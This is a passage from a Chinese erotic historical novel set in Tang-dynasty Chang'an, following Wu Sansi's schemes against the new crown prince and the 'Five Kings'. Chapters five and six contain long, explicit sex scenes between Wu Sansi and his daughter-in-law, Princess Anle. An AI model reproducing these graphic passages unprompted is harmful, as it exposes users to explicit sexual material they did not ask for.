何。」武三思岂敢乱试,忙即连声推谢。

辛钘也不勉强,笑道:「王爷仍是心中气忿,一心要和我杨家过不去,届时
你每晚睡觉,务必要多派人手守着屋内屋外,最好床头床尾亦叫人守着,或许保
得一时安全。不过你防得我一日,却防不了一年半载,我要找你,谅你也没本事
逃得过。」

紫琼接着说道:「王爷天天如此担惊受怕,这种生活又有何味道,为了今日
这小小事儿,就更加不值得,倒不如大家握手言和,今日的事当没有发生,常言
不打不相识,日后相见,彼此也是朋友,难道真要成为仇家不成。」

武三思自看见三人的武功,也知无法和他们硬并下去,见紫琼言中颇有谦退
逊让之意,当下见好收蓬,说道:「三位武功了得,本王素来礼贤好士。好吧!

今日之事大家便此抹过。」

辛钘道:「还有在千福寺摆卖的老人家,相信王爷也不会再阻挠吧,倘若王
爷能赏赐些本钱与他们,当作赔赏他们毁坏的东西,不知王爷能否成全?」

武三思颔首道:「公子果是乐善之人。好吧,本王就在城里拨一个地方给他
们,银子方面就更不成问题。」

辛钘站起身来,长长一揖:「本人就为这些老人家多谢王爷了!」

第四集四回完


第四集:罗叉夜姬/第五回:风流儿媳



曙光破晓,朝阳初升,万道金光把个长安帝都映得一片金黄。

东市西面,便是平康坊,平康坊乃属万年县管辖。西北之角,方好紧靠皇城。
自大唐立朝以来,朝中王公大臣,显宦贵爵,多集居于此。皆因此坊邻近东市,
东门一带,自北而南,遂成了妓女聚居之地,也是王城着名的「坊曲」所在,盖
因如此,平康坊便更显热闹。

这带茶楼酒肆,处处可见;秦楼楚馆,更是五步一楼,十步一馆,整夜价尽
是笙歌喧闹,歌吹沸天,当地之人,均称此处为「风流渊薮」。

德静王武三思在长安拥有多处宅邸,一座落在千福寺以南的金城坊,另一处
便座落平康坊北首,而他这栋楼房,好比皇宫般豪华,只见楼房檐牙高啄,画栋
雕梁,镂金门窗,白玉饰璧,可谓劳役巨万,穷奢极侈。

此刻正是金阳满天,旭日临窗之时,在这锦锈帘帷内,这个权势熏灼的德静
王仍拥着一个美女,兀自沉睡未醒。

这个开府仪同三司,身为一级从一品之高职大臣,竟然连早朝也不上了,当
真视皇帝如无物。便在他沉醉梦香之际,一把如莺似的斥责声从房外响起:「什
么?连本公主也不能进去,妳是要找死了。」

一张可怜兮兮的女子声道:「公主……是……是王爷早有吩咐,不得任何人
打扰,奴婢实在……」

武三思被门外一吵,立时醒了过来,正待要发作,骤听得「公主」二字,便
知是安乐公主驾到,浓厚的眉毛不禁拉紧起来,朗声道:「让公主进来吧。」说
话方落,便见一人走进房来,望清楚来人,却是一个娇俏美艳,姿容绝色的美人
儿,正瞪着她那明如秋水的大眼睛,望着榻上的二人。

只见她年约十八九岁,体态轻盈,一身蝉羽衣衫,腰束麟文衣带,在她那唐
宫低胸缎衣上,半露着一对饱满丰挺的乳房,更觉她肌理晶莹,妖冶娴都。

安乐公主见着眼前的家翁,不由美目含愠,娇嗔道:「好啊,你就是一日没
女人也不成事,日上三竿,太阳也照到屁股来,还抱着女人欢醉忘晓,你可知道
宫中弄出大事来了。」

自从安乐公主嫁给武三思的儿子武崇训后,不但刁蛮脾气不改,且更变本加
厉。在她眼内,除了母亲韦皇后外,可说从不把任何人放在眼内,就是当今天子
的父皇,也是如此,更何况是眼前这个家公。

武三思虽然权倾朝野,但对这个刁蛮公主还是忍让三分。他并非害怕了她,
而是在她身上,却有相当大的利用价值。

这时见她说宫中弄出大事来,心下不由一惊,连忙撑身而起,拍了拍身旁全
身精光的美女,着她先行离去。

那美艳女子,却是武三思的第六小老婆,因她样子娇美,媚功了得,平素甚
得武三思宠爱,昨日给辛钘弄得一肚子气,晚上便将怨气全发在她身上。

这个小老婆面对眼前这个天娇公主,自不免矮了三分。而武三思的说话,更
加不敢违拗,便即匆匆披上衣服,离开了房间。

武三思待她去后,向安乐公主问道:「究是什么大事?」

安乐公主两三步便来到他跟前,眼眶里早已泪光盈盈,说道:「你就是懂得
玩女人,也不理儿媳生死,父皇他……他今早把李重俊立为太子了。」

武三思听见,先是一怔,接着龙眼大的眼珠在眶内滚动了几下,摇头道:
「我还道皇上只是说说罢了,没想竟然来真,怎地这样大的事情,皇上连老夫也
不通知一声!」

安乐公主听见,泪水不禁直淌而下,顿足道:「不就是四叔和太平姑姑二人,
他们不住口的父皇耳边歪缠,说什么立太子一事,关乎安定朝廷,不能等闲视之,
你说气不气人。」

皇上立太子一事,近日在朝廷后宫里,早便传得风风火火。李重俊是后宫所
生,当时韦皇后听闻,本想出手阻挠,可是自己唯一的儿子李重润,几年前被武
则天杀了,使她一时无言反驳。

但安乐公主可不同了,她素来受父母宠爱,且是韦皇后嫡出,在她心中向来
认为哥哥死了,如何说也该是她来当储君,要是说女子不能当,为何祖母武则天
便能当?

其实当时她的皇帝父亲李显,也想答应她,曾问中书令魏元忠:「朕想把安
乐公主立为皇太女,你道行吗?」

然魏元忠却摇头道:「公主当皇太女,这是史无前例之事,况且若她真的当
了皇太女,叫驸马都尉如何称呼她,老臣认为这个使不得。」李显听后,只是点
头微笑。

此事传到安乐公主耳中,登时气得暴跳如雷,连忙跑到李显跟前,骂道:
「那个魏元忠是什么东西,这个憨臣也不想想,阿母子既然做得皇帝,她的孙女
儿又为何不能当天子?」

李显见这宝贝女儿大发雷霆,只得笑道:「待我慢慢再想一想,好吗?」接
着又哄又劝,安乐公主才稍稍消气。

当今皇帝李显共有八个女儿,而这个七女儿安乐公主,不但花娇月艳,长得
天姿国色,且又聪颖过人,在中宗和韦皇后心中,直把她当作心头肉儿,宠爱异
常。说起这个天之骄女,还有一段难忘的往事。

当年武则天在世时,曾立李显为天子,其妻韦氏,名唤韦缃,乃京兆万年人,
她的祖父韦弘表,在唐太宗李世民时,曾任过曹王府典军,父亲韦玄贞,时为普
州参军,只是一个从八品下的小官,李显登基后,便升韦玄贞为豫州刺史,是个
从四品的地方大员。但韦后仍不满足,要丈夫将其父调回京城,任为侍中。而侍
中一职,相等丞相、中书令、兵部尚书等位置。这一回可就不大顺利了,宰相裴
炎大力加以阻挠,认为韦玄贞无功无劳,骤然越级跳升,实难服众,有损朝廷威
信。

可是这个李显,初登皇位,也不懂度时量世,更不知自己是个废料。而这个
韦皇后,既能当得太子妃,样貌固然美艳,她从做女儿时,已是个不守本分的人,
就是嫁了李显后,身边也有不少男人,她为人精明强悍,好出风头,与这个懦弱
无能的李显相比,直是阴盛阳衰,向来李显不论大小事情,大多由她作主。韦皇
后看见有人从中阻梗,怒火勃然,忘记了那个权力无边,杀人不眨眼的婆婆武则
天,竟日夜唆弄着丈夫,常道:「你身为皇帝,难道升个官儿也要听人言语。」

一日早朝,裴炎依然坚持不同意,李显愈听愈是起火,心想在臣下面前,若
不耍两下子威风,将来我这个皇帝还怎能做下去,便即怒斥道:「你不用多说,
朕就是把个天下都让给韦玄贞,你也无权干涉,更何况只是个小小侍中。」

裴炎见他说出这等蠢话儿,也不和他多辩,回头便到皇太后面前,一一说了。
武则天是何许人,对李显的说话,自是知道是一时的气言,就是他想把天下送人,
谅他也没这个本事。但她却没想到,这个素来胆小如鼠的儿子,方当上皇帝便说
出这种话来,要是翅膀再硬了点,今后便控制不易了,自知决不能掉以轻心,心
里便起了废掉皇帝之意。

嗣圣元年二月,武则天骤临朝堂大殿,召集百官群臣,宣布废皇帝为庐陵王,
命朝臣将李显架下龙座。

这回李显真个不知所措,结结巴巴的问道:「我……我到底有什么罪?」

武则天瞪了他一眼:「你不是要把江山送给人吗?这就是你的罪!」李显无
言以对,没想到这个宝座,才只坐了两个月,仍没坐暖就丢了,还得个待罪之身,
形同罪人。

过不多久,李显夫妇俩便被流放至均州,随即又被迁到房州去,途中一家人
只有两辆旧破车,除了身上的衣服外,可谓一无所有。

当时韦皇后已有身孕,抬着一个大肚子起程。押犯的差役,也不管你过去是
王侯将相,只要你没有银两孝敬,苦头就有得你吃。

李显前时虽是皇帝,但这些差役并不与你说这个,既然武后敢眨你,他们便
敢收拾你。可是这一对落难贵人,却不懂得掏出银两来孝敬,一路之上,二人当
真是受足苦头。

这一日,一大清早便要起程赶路,行至中午,韦皇后忽觉腹中疼痛,眼看分
娩在即。但这时前不及村,后无山寨,李显见妻子痛得不成模样,便只好哀求那
些差役:「王妃恐怕要生了,各位官爷就行行好,可否停留片刻?」

两个差役见着,不由眉头大皱,遂气鼓鼓的道:「要生就快点儿,现给你两
个时辰,若生不出来,咱们也等不来了,要是赶不到驿站,今晚何来吃住。」

李显听见,连忙点头道:「一定快,一定快……」

两个差役也不和他多说,兀自往一棵大树走去,一个差役笑道:「他说生就
生,说得挺容易。」岂料说话方落,后面立时传出呱呱的哭声,众差役即时你望
我眼,我望你眼,说不出声来。

李显虽是几个孩子的父亲,但贵为王子,这等事儿又何曾亲手做过,不免忙
了手脚,望着婴孩不知如何是好,还幸妻子坚强,用嘴咬断了脐带,便对李显道
:「快点脱下衣服,把婴儿裹着。」李显听了,连忙脱衣裹婴,韦后抱着婴儿,
便喂起奶来。

众差役见她生子如斯神速,当真彷如大便一般,也不禁诧异起来,围着嘀嘀
咕咕的谈论着,莫非是山神照顾,要不生个娃娃,怎地会这么容易?一人道:「
光是看这个,我敢打赌王爷必有后福,准没有错的。」

另一人道:「你说得对,瞧来打后要好生对待他们才是,不然要吃亏了。」

没过多时,李显过来招呼他们上路,众差役连忙奔将前去,脸面顿时变了样
子,笑道:「王爷也不用急,王妃刚分娩完毕,还是多休息好,要是用得着咱们
什么,王爷尽管吩咐便是。」

李显大惑不解,不禁呆住,一时也想不通是何道理,说道:「今日全仗各位
大哥的福,一切还算顺利,要是今后还有好日子过,本王定当图报。」

众人听得这番说话,齐刷刷跪拜下来,同声道:「谢王爷!」韦后在车上看
见,不禁笑起来。

一个差役问道:「不知是王爷还是公主呢?」

李显道:「是我的七女儿。」

那人连忙道:「原来是个公主,那太好了,不知有了名字没有?」

韦后在车上道:「不如就叫她裹儿罢,你说好么?」

李显捋须笑道:「好好,这名字不错,大家认为是吗?」众人当然点头附和,
李显又道:「裹儿一出生便逢凶化吉,看来这个女儿必会带来好运。」

果然,这个裹儿不但长得出色,一如李显所说,最后一家给武则天迎回宫中,
李显继而重登皇位。

武三思这时听见,心中暗自盘算,心想道:「李重俊这小子素来与我不和,
此刻他一朝得势,虽不致碍我大事,但始终是个隐忧,况且这小子又何德何能坐
这个位子,本王若不把他扯下来,武家将来哪有好路可行!」

一念及此,便向安乐公主道:「我的好裹儿,不用伤心,你要知皇上向来糊
涂。李重俊这厮,我总不能让他坐得平平稳稳的,妳放心好了,一切就包在我身
上。说到朝廷的众臣,光凭我一句说话,他们怎敢不从,要把太子之位抢回来,
可说易如反掌。妳回宫与娘说,多给你老爹压力,我就不相信不能把那厮拖下来。
裹儿不要再哭了,妳老爷我也很久没疼爱妳了,过来我这里,待我今日好好和妳
快活一番。」

裹儿小嘴一撅,瞪了他一眼道:「你就总喜欢这个,家公不似家公的,要了
人家的母亲,连她的女儿也不放过。」

武三思淫笑道:「谁叫我这个儿媳妇长得又俏又可爱,我父子两人同时让妳
快活,还说这等风凉话儿。」

但见裹儿纤腰一摆,便坐在床榻道:「谁稀罕你这个大块头儿子,若不是阿
母子要我嫁他,我才不要他呢。」这句说话,虽是半带玩笑,但听在武三思耳里,
总觉不是味道,不由眉头轻皱,脸色一沉。

裹儿看见,也知自己说得过了火头,便朝他微微一笑,把一副曲线玲珑的娇
驱,紧紧贴向他道:「不要这个口脸嘛,你又不是不知,人家平日就爱开玩笑。

可是你这个大块头儿子,今个儿一大清早,便气得人家半死不活,适才我方
会这样说。」

武三思问道:「他又怎么了,小俩口子就是爱吵嘴!」武三思伸手把他拥入
怀中,一只怪手缓缓在她身上游动,抚得裹儿浑身发软,慢慢软倒下来。

裹儿轻轻「嗯」了一声,娇喘道:「你……你这个好儿子,也不知人家气恼,
当我对他说这件事时,你道他说什么。他说我身为妇人家,怎可能去争什么皇太
女,直是竹篮打水,白费心机,你说他可不可恶。」

武三思笑道:「这个小子就是爱浇冷水,妳也不用放在心上。」说着动手扯
下她腰带,裹儿也不做作,干脆自己动起手来,不消片刻,便与武三思看齐,变
得浑身精光赤体。

武三思虽然年逾五十,却身壮体横,说到玩女人方面,更是他的拿手伎俩,
家中的妻妾不提,光是身旁这个小媳妇,其母亲韦皇后,还有李显的小老婆上官
婉儿,以及一些后宫妃嫔,身边的女人实不下十多人,而他所玩的女人,无一不
是当世名花,宫中贵人,只要他想得到的,便能手到擒来。

其实以他这副尊容,生得眉粗颧高,满脸胡茬,当真是威武有余,俊朗不足,
却偏偏惹得群莺临门,任他鱼肉,说来还不是一件事。武三思此人,不但宝贝奇
伟,且性能力特强,凡与他有过一腿的女子,无一不是回味再三。

不说别人,便是这个刁蛮公主李裹儿,自前年尝过他的滋味后,方始发觉这
个家公的厉害,竟比他的儿子还强上几倍,也难怪连她的母亲,也为武三思痴迷
难舍。

武三思轻轻把裹儿放在榻上,看着这具青春迷人的身躯,一团欲火立时从丹
田往上冲,忙即探前身子,满是须髯的脸膛从她脖子掠过,偎贴着她嫩如凝脂的
俏脸。

裹儿被他粗硬的胡髯一刮,马上浑身一颤,闭起美目道:「好人,我的好家
公,妳媳妇儿受不了,不要再逗人家好吗?」

武三思像没听见以的,全不理会她,只是贴得她更紧。从她的面颊、鬓边、
鸟发,一直嗅到她的耳朵,嗅着她散发出来的奇异芳香,惹得裹儿连连打战,却
又无法奈何他。

裹儿抵受不过,喘声道:「不要吶,你弄得人家好痒,好难受……」

武三思埋头说道:「谁叫我的儿媳妇这么香,昨晚可有和我儿做?」说着右
手徐徐下移,滑到她的胸脯,明显地感到她心跳加促,大手稍一移动,已盖住她
那青春饱满的乳房。

「嗯……」裹儿绽出一声满足的呻吟,胸部猛地往上拱起,迎凑他那恣情的
触抚,娇喘道:「这……这与你何干,啊!好舒服,你就是爱折磨人家,快嘛,
裹儿已经好想要你了。」

武三思心里暗笑,想道:「真个是有其母必有其女,这个小淫妇,老夫今日
若不把妳弄得喊死喊活,妳还不知道本爷的手段。」嘴唇滑过她俏脸,吻向她下
颚,接着徐徐下移,直吻到她高耸的玉峰,再用他那硬如毛刷的胡子,磨蹭着她
殷红娇嫩的蓓蕾。

裹儿连打几个哆嗦,那刺刺的感觉直痒到骨子里,不由螓首后撑,小嘴不停
半张半合。

武三思一面尽情挑逗,一面抬高淫眼,牢牢盯着这个美艳的媳妇,他愈是看,
愈觉她娇美妩媚,那张标致的五官,可说是无处不美,在他尝过的美女中,除了
上官婉儿外,这个刁蛮公主,也可算是最漂亮的一个。便在这时,脑间忽地一闪,
紫琼的美貌突然从他脑海滑过,武三思暗叹一声,若说到美貌,还是那个妞儿为
最!

这时的裹儿,再也难忍体内的骚动,见她紧紧抱住武三思的脸颊,不住摆动
着上身,把个乳房在他脸上磨蹭,哀声求道:「我的好人,我的好家公,你再是
这样弄裹儿,人家便要死了,求求你快点给裹儿,插进来好吗?」

武三思笑道:「那有这么容易,我一张嘴还没尝够妳身子,谁叫妳一大清早
送上门来,破坏妳家公的好梦。」

裹儿实在抵受不过,嗔道:「好,我求你不成,你以后休想我再给你。」

武三思笑道:「这是妳说的,到时妳不要后悔才好。」说着之间,身子再徐
徐下移,终于来到她那甘露潺潺的所在,已见湿得不成样子了,两片肥美丰腴的
花唇不住地抖动,如此鲜嫩迷人的好物,教他如何再忍得,当下凑头上去,忘情
地吸吮起来。

裹儿被他舔着妙处,直美得双腿乱颤,身子一下一下的抽搐起来,口里呻吟
不断。而最令她亢奋的,便是那些又粗又硬的胡子,不停地刮刺着她的柔嫩,双
重的刺激,直美得她眼前发花,神志昏眩。

武三思却舔得兴致高扬,一条如蛇的灵舌,不住钻探乱窜,弄得裹儿欲壑难
填,腰臀狂摆如浪,娇喘个不停。

武三思见她欲火难抑,便跪了起来,淫笑道:「我的好媳妇,妳已乐得够了,
也该让我爽一回吧。」

裹儿自从跟随父母回京,所见所闻,尽多男女淫亵之事,深受熏陶,已是个
识趣之人,在她还没嫁武崇训之前,便已在宫中纵欲肆行,糜乱无度,不知狎玩
了多少宫人护卫,对于如何取媚男人,早就颇有心得。见武三思这样说,便即撑
身而起,玉手轻舒,提着他那壮硕粗长的宝贝,徐徐凑近嘴边。

第四集五回完


第四集:罗叉夜姬/第六回:诬陷五王



武三思挺胸直立,抵头望着这个俏媳妇,见她正自手口并用,一套一吮均郢
匠挥斤,显得异常熟练高超,心中暗想:「此女年纪轻轻,便有这种造诣,当真
是一代淫娃,也难为崇训这小子,弄得满头绿巾,还要忍气吞声,今日就由我这
个家公为你报仇,教训一下妳这个拖汉精。」

一念未完,忽觉灵龟一紧,一条舌头尽抵着马眼儿乱拨,阵阵酸意直窜上脊
骨:「好哇!妳的舔功果然精进不少,真想要吸出来吗?」

裹儿含着巨物抬头一笑,旋即又再埋头苦干,把住肉棒来回洗舔,直爽得武
三思连声喊妙,欲火愈发强烈,没待一曲奏完,忙把裹儿推卧在榻,说道:「快
劈开双腿,好让你家公快活快活。」

只见裹儿送他一个微笑,自动大张玉腿,把个嫣红欲滴的花穴展陈他眼前,
腻声说道:「我的好老公,这样可以了吗?」

武三思笑道:「怎么叫起老公来了,倘若传到我儿耳中,岂不是气死他。」

裹儿微微一笑:「你还说,这都是你为老不尊,连媳妇都不放过,三五七日
便来玩人家。」

武三思握紧阳物,抵住门户蹭来蹭去,说道:「妳不要胡扯,这段日子究竟
是谁找谁?每次都是妳自己上门,妳别无故冤人。」

裹儿不服道:「好呀,第一次是谁摸入人家的房间?」一话未完,膣内骤然
一满。「啊!好深……你胀死裹儿了,不要这样猴急嘛……嗳,你真想弄死人家
吗!」

武三思猛地闯关,一放便直抵深宫,只觉分身兄弟如投进熔炉,内中温暖湿
漉,整根肉具,给含箍得密密实实,间发不容,登时爽到极点,旋即拍马奔驰,
提戟奋刺。

裹儿经他一阵疾闯,美得有口难言,捣得百来回,渐见撑持不住,只觉眼前
这个家公,实是个神勇将军,比他那无能的儿子,也不知好上多少倍。

武三思眼见她红晕盖脸,星眸微张,更添几分迷人娇艳,胸前一对玉峰,随
着动作颠来倒去,着实美不胜收,不由瞧得欲火烧身,直把裹儿杀得片甲不留,
教她连丢几遍,直到她开声求饶,方勒缰不动。

裹儿略一回气,缓缓平服下来,娇嗔道:「看你不要命的播弄,也不理人家
死活,若是给你弄坏了,看你如何向儿子交代。」

武三思呵呵笑道:「妳便向他直说无妨,说是他老爹弄坏的。」

裹儿不知好气还是好笑,世上竟有这样的老爹,笑道:「我才没你这般不要
脸,还有我与你之事,万万不能说出去,要是传到父皇知道,我无法做人事少,
恐怕你这个脑袋也保不住。」

武三思自是知道,也用不着她提点,但他最担心的,倒反而是那个韦皇后,
因她深处后宫,自己不时出出入入,不免受人猜疑,尤其是定安公主的丈夫王同
皎,老是跟他作对,一想到这里,登时怒气打从一处来,便道:「就算妳我不说,
难保妳姊姊定安公主的好夫婿不说,我又不是害了他全家,此人就是总爱和我抬
杠,妳要担心,就担心这个人好了。」

裹儿听得柳眉紧蹙,说道:「当真,我怎地会不知道?」

武三思道:「还有很多事妳不知道,这个王同皎,身为附马都尉,如何说也
算是一家人,但此子竟连岳母都要出卖,也不知他从那里探得消息,在外总是口
没遮拦,四下说我和妳母亲坏话,要知一旦传到妳老爹耳中,到时我死了不打紧,
但妳娘可就不同了,这个妳还是小心点儿。」

裹儿道:「这件事我会探个明白,倘若如你所言,我势必不放过他。」话后
便把小嘴贴近武三思的耳边,柔声轻道:「瞧来你还没满足,来吧,再好好爱一
下你的媳妇儿。」

武三思笑道:「妳这个小淫妇,才刚刚回气,这么快又想要了。」

裹儿嗔道:「你说什么嘛,人家一心为你好,还取笑人家,要是不来便算了,
让我起来回去。」便鼓着嘴儿要起来,武三思当然知她耍性子,便即提枪轻刺,
裹儿立即浑身骚爽,咿咿啊啊呻吟起来:「好舒服……这样又大又硬的东西,真
是叫人爱煞吶!人家要……要你狠狠的捣,把你这个宝贝儿媳弄死算了……」

武三思使出手段,一面抽戳,一面握着肉球使劲搓揉,不时把她转过身子,
从后进击,百般轻狂。裹儿不但千依百顺,且越干越发兴致高昂,这样一弄,便
弄了一个多时辰,方行抛枪罢战。

次日,武三思一早起床,穿上紫金朝服,腰围金玉绶带,衬托着他那健硕的
身材,倒也神气十足。

此刻卯时未到,大明宫的大门,早已两旁大开。上朝的文武百官、王公大臣,
正沿着长乐坊连袂而来。

韦应物曾有「观早朝」一诗,道尽大明宫早朝的情景,诗中写道:

伐鼓通严城,车马溢广躔。

煌煌列明烛,朝服照华鲜。

金门杳深沈,尚听清漏传。

河汉忽已没,司阍启晨关。

丹殿据龙首,崔嵬对南山。

寒生千门里,日照双阙间。

禁旅下成列,炉香起中天。

其时虽是初夏,但晨风拂过,仍夹着带有金桂馨香的寒意。

武三思骑着一匹乌骓马,直行至丹凤门才翻身下马,一名跟随的家仆连忙上
前把马牵住,拴在宫门旁的马槽。

武三思大步踏入宫门,跨过龙首渠的白玉雕栏石桥,放眼望去,前面是个宽
阔的广场。武三思挺起胸膛,缓步而行,环观广场四周的宫殿,心里不由涌起一
阵恚愤,想起当年若非狄仁杰从旁阻挠,现今坐在龙椅上的人,哪会是这个窝囊
废李显。他愈想愈感怨愤难消,脸上的肌肉也不禁绷紧起来。

这座庄严的皇家宫阙,位于京城东北角,建于贞观八年,分布着二十四座金
碧辉煌的殿宇,掩映在绿树丛中。

皇宫以北,便是碧波荡漾的太液池。而广场正中,含元、宣政、紫宸三座宫
殿,一层一层的排列着,四省、十院,分列左右,宛如众星环拱,形成大唐的中
枢。

武三思面向含元殿走去,望着这座巍峨的大殿,心头不由又涌起一股失落,
此殿是皇帝早朝的地方,百官朝见或奏事,大多集会于此殿。

含元殿建修得异常壮丽。皆因此殿屹立在龙首原上,站在殿前远眺,苍翠的
终南山历历在目,繁华的长安城,却能尽收眼底,直教人心驰神往。

走近含元殿,武三思仰起头来,他见着眼前之物,不禁思潮泉涌,多年来时
时唤起他的占有欲,再次浮上心头。

当年武三思的姑母武则天还没得势时,他只是市井流氓,在京城人人看不起
的地窖子,就连那些妓女们,对他也不屑一顾。直至高宗登位,立武则天为皇后,
堂兄武承嗣才得以赦罪,从流窜地岭南重返京师,并承继了祖父的爵位,擢升为
宗正卿。

自此,武三思的一生,便开始大大改变了。

当武承嗣出任礼部尚书时,他也开始被姑母重用,得了一个右卫将军之职,
接着在宫中翻滚十几年,到武则天登上宝座,武三思终被封为梁王。更甚的是,
武则天曾想立他为太子,打算让他继承将来的皇位。

可是身任鸾台侍郎的狄仁杰,却对武则天道:「昔年文帝亲冒刀林箭雨,平
定天下,方建立大唐王朝,倘若陛下把天下交与别人之手,恐怕有犯天意!况且
姑母与侄儿,娘与亲儿子,这两者到底谁为较亲,已相当明显。要是宝座由儿子
继承,陛下将来的牌位,仍可摆放皇家祖庙,陪伴先帝,共享香火,世代相传。

不然,若由侄儿继承,却没听过侄儿当皇帝,会把姑母的牌位送到皇家祖庙
的,到那时,岂不是成了没有血食的野鬼。」武则天听后,稍有醒悟,不由踌躇
起来。

一日,武则天问狄仁杰:「昨夜我作了一个梦,梦见了一头大鹦鹉,可是两
个翅膀全都折断,不知其意何在?」

狄仁杰抚须答道:「鹉与武同音,武是陛下之姓,而两个翅膀,便是指陛下
的两个儿子;其意相当明显,倘若陛下起用两个儿子,这两个翅膀自可复原。」

话后并建议武则天,最好能召回被流放房州的李显。

武则天终于下定决心,声称卢陵王李显患病,派员外郎徐彦伯前往房州,迎
接李显回京医治,没多久李显被封为太子。

武三思想到这里,一腔怒气无法平息,气恨难平,心道:「无毒不丈夫,要
光复我武家的天下,莫怪我心恨手辣。」

便在这时,一个年约三十多岁,身穿五品朝服的官员来到他跟前,揖道:
「王爷早安。」话声响起,霎时打断了他的冥想,武三思望向那人,见是校书郎
李悛,不由面呈鄙夷之色,遂点一点头算是回礼。

李悛却趋身前来,低声道:「臣有一事要告与王爷,可否借一步说话。」

武三思知他是前出纳官宋之问的外甥,而宋之问此人,皆因与姑母的男宠张
易之有关,被流放至岭南,当年也算是武家的摇尾份子,不由凝神望了李俊一眼,
见他一脸诚恳,便点头与他并肩行到一旁。

武三思边行边问道:「有什么事?」

李悛望望左右无人,压低声音道:「是有关驸马都尉王同皎之事。」

武三思一听,登时眼睛放亮,打起精神来。没想到此人要说的竟是定安公主
的丈夫,也正是自己的死对头。

李悛见他一脸诧异之色,续道:「小人得知,王同皎将会联同张仲之、祖延
庆、周憬等会对王爷不利。」

武三思停下脚步,轩眉望着他,问道:「哦!究是如何?」

李悛道:「据知他们秘密集结江湖武夫,打算围攻贵府,且趁势挥军进攻皇
宫,罢黜韦皇后。」

武三思听到这里,大吃一惊,忙问道:「这个消息从何处而来?」

只见李悛迟疑了一会,讷讷道:「其实这件事……是……是臣的外舅宋之问
说的。」

武三思大惑不解,宋之问不是还流放在岭南么?

李悛又道:「臣的外舅已经从岭南偷偷回到洛阳了,因他与王同皎素有交情,
现正在他府中寄住,后听得他与外人联络,方得知此事,外舅想起这是关乎王爷
的安危,便着臣与王爷通告一声,好作防卫。」

武三思抚髯点头,心想宋之问这人果真是个奸险小人,竟用朋友的鲜血来换
取赦免流放之罪。便道:「很好!你叫宋之问放心,他的事我自会处理。」

这时朝堂内外,文武百官愈聚愈多,接着一阵沉厚的景阳钟声传来,堂内正
在寒暄闲聊的官员们,立时清风雅静,各人匆匆掸服整冠,敛袖屏息,依秩排列,
分左右两路,踏上七折龙尾道。

只见文、武两班鱼贯而入,踏着涂红莲花方砖,一个个排列在含元殿前。文
臣武将捧笏而立,丹墀两旁,金吾卫士手执金瓜斧钺,如同泥塑木雕,一动不动
的凝视殿前的百官。

含元殿的两廊,金丝垂帘倏地掀起,相王李旦与德静王武三思,领着一队衣
着华贵,手捧象笏的王公贵戚,分为左右两行登上侧道,走进含元殿。正当众人
排好,一阵庄严肃穆的迎圣鼓乐响起,当今天子李显将要驾临了。

「皇上驾到……」一把苍老尖细的声音,自殿内传将出来。

随听弦管齐鸣,锺磬大作,卷帘动处,一群手捧盂、盘,手执孔雀翎羽大扇
的宫娥彩女,娉娉婷婷的走了进来,接着一个须发半白,头戴通天冠,身穿大裘
冕,脚踏登云履的中年天子随后步出,登上九龙御座。

天子身旁,卓立着一位手捧犀尾,头上戴着乌沙朴头,身穿紫金朝服,腰击
全銙玉带的太监。

一把尖细的声音,这时又从太监口中唱出:「文武百官朝见圣皇……」

但见众臣列队如潮水般涌前,在御阶前跪满一地,大殿之内,立时响起如山
呼海啸的朝参之声:「吾皇万岁!万岁!万万岁!」

接着众臣依次奏事。这时,御史大夫李承嘉站出,捧笏奏道:「臣李承嘉有
事上奏……」

中宗李显点头允许,李承嘉奏道:「臣于洛阳天津桥撕下一文榜,恳准呈上。」
李显点头,他身旁的太监走下御阶,接过那文榜递上李显。

李显展开一看,登时龙颜大怒,大吼道:「岂敢胡言诽谤,这是谁贴的?」

原来此文乃是武三思派人书写,文中全是韦皇后和自己奸淫的丑闻,以此事
诬陷朝中五王,李显见着,直看得怒目切齿,咆哮如雷。

李承嘉奏道:「臣已查得一清二楚,并且逮获张贴之人,据那人说,是敬晖、
桓彦范、张柬之、袁恕己、崔玄暐这五人派他张贴。依愚臣看,表面上虽只提及
罢黜皇后,实是有谋害陛下之心,臣请求皇上下旨诛灭五人全族。」

原来这五人,却是辅助李显推倒武家,并取回李家天下的五大功臣,现全皆
封有王爵,合称五王,也是武家的一大对头,无疑便成为武三思的眼中钉。

武三思与韦后曾在李显面前谋陷五王,可是李显总不理会。今次便想出这个
法子,伪做文榜,务求把五人一起干掉。

当初,五王藉着武则天病重,辅助李显发动政变,夺回李家江山。政变成功
后,李显便任张柬之、袁恕己二人为一级宰相,崔玄暐为内史,敬晖、桓彦范为
纳言,一律封为公爵。那时虽然大局已定,但武家尚未铲除,洛州长史薛季昶曾
对张柬之道:「斩草不除根,春风吹又生。」

张柬之答道:「武家只是俎上肉,他们有何能耐作反。」

薛季昶摇头叹道:「既然你这样说,到那时候,我也不知会死在何处了!」

同时县尉刘幽求也警告桓彦范,说道:「武三思仍留在朝中,恐怕到了后来,
咱们连葬身之地也没有,倒不如乘早下手,免得大祸临头,到时后悔已不及了。」

武则天王朝已过,武三思能再得势,主要原因在一个女子身上。此女子便是
上官婉儿,李显登位之初,不但娶了她为小老婆,且命她处理诏书,撰写皇家指
令,甚为倚重,自此上官婉儿便掌以大权。

皆因李显年纪已老,且色欲过度,无法满足这个俏娇娘,她和武三思早就有
了一腿,上官婉儿孤身一个女子混在宫中,便如立在危墙之下,一个不慎,随时
会遭韦后的毒手,为了保障自身安全,她不得不讨好韦后,遂把武三思推荐给她,
武家在宫中的势力,因此又再度膨胀起来。

张柬之到这时候,方开始察觉武家的危险性,不断劝李显诛灭武家,免得他
们坐大难收,但李显依然毫不理会。

张柬之道:「武则天之时,李性皇族,几乎给屠杀罄尽。幸好天地神灵庇佑,
皇上得以复位,但武氏家族那些浮滥官爵,依然原封不动,臣认为应当眨降其官
阶俸禄,以慰天下人心。」但李显这个窝囊皇帝,只是不停摇头,就是不听。

武家在朝上势力日增,张柬之等人恐防武三思暗里陷害,知道员外郎崔湜虽
不是武家一派,却因公事常在武家走动,便以厚礼结纳,好作内应,望能探得武
家举动。

但没料到,崔湜竟是一根墙头草,他见皇上对武三思异常信任,便知晓该站
在何方,便把张柬之等人的密谋,掉过头来向武三思和盘托出,还说听从武三思
差遣,武三思见他颇为忠心,便推荐他当中书令,从此成为武三思其中一个智囊。

武三思和韦后得知张柬之的意途,便终日诬陷五人,武三思对李显道:「他
们五人仗着自己功高权重,在朝中横行霸道,这样下去,终究对皇室构成威胁,
皇上不可不防。」

李显听得不住点头,武三思又道:「依我看,对他们最好是施以安抚策略,
明是隆升,实是暗降。先把五人全封王爵,并免除他们宰相职务,这样处理,外
